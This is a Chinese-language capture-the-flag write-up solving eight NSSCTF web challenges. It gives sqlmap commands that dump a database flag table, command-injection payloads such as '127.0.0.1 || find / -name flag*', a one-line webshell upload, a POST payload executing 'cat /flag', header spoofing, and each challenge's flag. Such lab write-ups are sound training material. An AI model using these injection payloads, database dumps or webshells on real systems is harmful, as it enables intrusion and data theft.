目录
1、PHP是世界上最好的语言!!
2、这是什么?SQL !注一下 !
3、Ping
4、作业管理系统
5、我Flag呢?
6、1zjs
7、Vim yyds
8、Http pro max plus
1、PHP是世界上最好的语言!!
直接cat flag
flag=NSSCTF{11eaebe0-3764-410d-be83-b23532a24235}
system() 函数用来执行 command 参数所指定的命令, 并且输出执行结果,PHP执行系统命令的常用的函数还有:exec函数、popen函数,passthru函数(完整的返回字符串,且不经过不必要的其它中间的输出界面,即获取一个命令未经任何处理的原始输出),shell_exec函数他们都可以执行系统命令。
system语法: string system(string command, int [return_var]);若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。
2、这是什么?SQL !注一下 !
直接查询,发现注入点是id
使用sqlmap列出所以数据库
sqlmap -u "http://node1.anna.nssctf.cn:28755//?id=1" --dbs
available databases [6]: [*] ctf [*] ctftraining [*] information_schema [*] mysql [*] performance_schema [*] test
列出指定数据库的表
第一个里面没什么发现,在第二个库里面看到flag字样
sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining --tables
继续列出指定表的字段
sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining -T flag --columns
获取指定字段中的数据
sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining -T flag -C flag --dump
NSSCTF{759de34b-d02a-4781-a33c-113aba994a10}
总结一些sqlmap常用的参数:
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据
3、Ping
直接在页面执行ping再带一个其他命令, 127.0.0.1&&ls,发现不行
使用bp抓包重发
添加../逐级展开上级目录
可以看到flag就是在根目录下的flag目录,直接使用cat命令获取
除了展开,也可以先使用find命令,尝试查找flag
command=127.0.0.1 || find / -name flag* &ping=Ping
再使用cat命令获取
flag=NSSCTF{3ce5e885-66ee-4312-828a-bfbb78c8cea8}
本题总结:
1、find命令:find /(查找范围) -name 查找关键字
find / -name flag* &ping=Ping中,
星号是一个通配符,表示任意数量的任意字符,当不知道真正字符完整名字时,进行模糊搜索。
2、cat命令用法总结:
① 只查看文件内容 cat a.txt
② 查找文件中的内容 cat a.txt | grep cc
③ 利用cat创建文件、向文件中写入内容、修改文件内容或者清空文件内容
其中EOF是告诉 bash 哪个符号代表文件结束,也可以使用自己习惯的符号。
4、作业管理系统
在源码中找到默认登录账户和密码
直接安排一句话木马
没有任何的绕过
在根目录下找到flag
flag=NSSCTF{96cd0bd4-f5e6-4fbf-8b09-c38f244d4aa6}
5、我Flag呢?
在源码里找到被注释掉的flag
6、1zjs
玩了会儿魔方
直接搜索一些关键字并没有什么发现,根据题目提示,在它的js文件里寻找
找到一个被注释掉的路径 /f@k3f1ag.php,直接访问
查了一下这个叫jsfuck编码
有两种解密方法:
1、在浏览器的控制台
2、使用在线网站解密
7、Vim yyds
查看源码并没有什么发现
知识基础:
当我们非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容;
意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样;
如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的;
可以使用 vim -r 来查看当前目录下的所有swp文件;
也可以使用 vim -r filename 来恢复文件,这样上次意外退出没有保存的修改,就会覆盖文件。
访问.index.php.swp将文件下载下来
因为我win里面没vim,将文件发到centos里
直接查看
使用vim -r index.php.swp恢复文件
恢复后如下
代码审计:
给password传入"Give_Me_Your_Flag"且要先经过base64编码
就会输出Oh You got my password!并且调用system函数执行传入的cmd命令
先将字符串base64编码
构造payload
post:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /flag
NSSCTF{b8776bdb-b398-4544-b006-72ee55c5a531}
8、Http pro max plus
使用bp抓包改包重发
请求头写 x-forwarded-for: 127.0.0.1
换一种 client-ip: 127.0.0.1
请求头写 referer: pornhub.com
请求头写 user-agent: Chrome
请求头写 via: Clash.win
拿到一个路径,直接访问它
在源码里找到了另一个路径,继续访问
NSSCTF{d295698b-50ae-47ed-8393-2463797931d3}